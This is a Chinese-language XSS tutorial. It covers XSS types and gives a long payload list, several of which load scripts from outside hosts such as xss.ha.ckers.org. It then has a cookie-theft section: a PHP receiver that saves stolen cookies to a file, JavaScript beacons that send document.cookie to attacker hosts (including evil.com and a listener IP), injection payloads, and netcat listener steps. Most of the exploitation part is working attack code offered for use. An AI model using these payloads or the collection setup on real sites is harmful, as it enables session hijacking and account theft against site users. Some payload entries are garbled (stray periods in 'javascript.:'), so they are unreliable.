1、xss漏洞的定义
XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到web网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生xss攻击。
2、xss漏洞的危害
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
3、xss漏洞的类型
反射型:
反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码
例子: http://target_sys.com/xss/xss01.php?name=<script>alert(/xss/)</script>
存储型:
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。
代码示例: <SCRIPT>alert(document.cookie)</SCRIPT>
dom型:
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
在网站页面中有许多页面的元素,当页面到达浏览器时浏览 器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
document.referer属性
window.name属性
location属性
innerHTML属性
document.write属性
默认火狐是不能执行这种dom xss 因为火狐会把url上面的字符串进行编码
在ie里面默认不编码 但是要关闭xss过滤器方可执行
4、一些常见的xss测试语句
1 <h5>1</h5> 2 3 <SCRIPT>alert(document.cookie)</SCRIPT> 4 5 <img src=1 onerror=alert(document.cookie)> 6 7 其他测试语句 8 <script>alert('hello,gaga!');</script> //经典语句,哈哈! 9 >"'><img src="javascript.:alert('XSS')"> 10 11 >"'><script>alert('XSS')</script> 12 13 <table background='javascript.:alert(([code])'></table> 14 15 <object type=text/html data='javascript.:alert(([code]);'></object> 16 17 "+alert('XSS')+" 18 19 '><script>alert(document.cookie)</script> 20 21 ='><script>alert(document.cookie)</script> 22 23 <script>alert(document.cookie)</script> 24 25 <script>alert(vulnerable)</script> 26 27 <script>alert('XSS')</script> 28 29 <img src="javascript:alert('XSS')"> 30 31 %0a%0a<script>alert(\"Vulnerable\")</script>.jsp 32 33 %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e 34 35 %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e 36 37 %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html 38 39 <script>alert('Vulnerable')</script> 40 41 a.jsp/<script>alert('Vulnerable')</script> 42 43 "><script>alert('Vulnerable')</script> 44 45 <IMG SRC="javascript.:alert('XSS');"> 46 47 <IMG src="/javascript.:alert"('XSS')> 48 49 <IMG src="/JaVaScRiPt.:alert"('XSS')> 50 51 <IMG src="/JaVaScRiPt.:alert"("XSS")> 52 53 <IMG SRC="jav	ascript.:alert('XSS');"> 54 55 <IMG SRC="jav
ascript.:alert('XSS');"> 56 57 <IMG SRC="jav
ascript.:alert('XSS');"> 58 59 "<IMG src="/java"\0script.:alert(\"XSS\")>";'>out 60 61 <IMG SRC=" javascript.:alert('XSS');"> 62 63 <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> 64 65 <BODY BACKGROUND="javascript.:alert('XSS')"> 66 67 <BODY ONLOAD=alert('XSS')> 68 69 <IMG DYNSRC="javascript.:alert('XSS')"> 70 71 <IMG LOWSRC="javascript.:alert('XSS')"> 72 73 <BGSOUND SRC="javascript.:alert('XSS');"> 74 75 <br size="&{alert('XSS')}"> 76 77 <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> 78 79 <LINK REL="stylesheet"HREF="javascript.:alert('XSS');"> 80 81 <IMG SRC='vbscript.:msgbox("XSS")'> 82 83 <META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');"> 84 85 <IFRAME. src="/javascript.:alert"('XSS')></IFRAME> 86 87 <FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET> 88 89 <TABLE BACKGROUND="javascript.:alert('XSS')"> 90 91 <DIV STYLE="background-image: url(javascript.:alert('XSS'))"> 92 93 <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> 94 95 <DIV STYLE="width: expression(alert('XSS'));"> 96 97 <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> 98 99 <IMG STYLE='xss:expre\ssion(alert("XSS"))'> 100 101 <STYLE. TYPE="text/javascript">alert('XSS');</STYLE> 102 103 <STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A> 104 105 <STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE> 106 107 <BASE HREF="javascript.:alert('XSS');//"> 108 109 getURL("javascript.:alert('XSS')") 110 111 a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d); 112 113 <XML SRC="javascript.:alert('XSS');"> 114 115 "> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><" 116 117 <SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT> 118 119 <IMG SRC="javascript.:alert('XSS')" 120 121 <SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 122 123 <SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 124 125 <SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 126 127 <SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 128 129 <SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 130 131 <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
5、xss利用
a. 盗取cookie:
接收端后端:
1 <?php 2 @ini_set('display_errors',1); 3 $str = $_GET['前端设置接受参数']; 4 $filePath = "新建.php"; #把cookie写道新建.php中 5 $handler = fopen($filePath, "a"); 6 fwrite($handler, $str); 7 fclose($handler); 8 ?>
接收端前端(js文件):
1 xss.js-1 2 var img = document.createElement('img'); 3 img.width = 0; 4 img.height = 0; 5 img.src = 'http://接收端ip(可以是内网的ip了)/接收端后端文件.php?设置接收参数'+encodeURIComponent(document.cookie); 6 7 xss.js-2 (结合监听的前端代码) 8 var img=document.createElement("img"); 9 img.src="http://www.evil.com/log?"+escape(document.cookie); 10 document.body.appendChild(img);
payload:
<script src="http://接收端ip/接收端前端的js文件.js"></script>
这里http四个字母可以去掉,因为网站有的时候是https
<img onerror=document.body.appendChild(document.createElement('script')).src='//接收端ip/接收端前端的js文件.js'>
<script>var img=document.createElement("img");img.src="http://接收端ip/?"+escape(document.cookie);</script> (结合监听使用)
或者端口监听也可以:
xss+端口监听:
在dos命令框中进入nc端口
输入-lvp 端口号 进行监听
然后输入xsspayload:
1 <script> 2 document.write('<img src="http://本地ip与端口/?'+document.cookie+'"/>'); 3 </script> 4 例如: 5 <script> 6 document.write('<img src="http://192.168.43.110:12345/?'+document.cookie+'"/>'); 7 </script>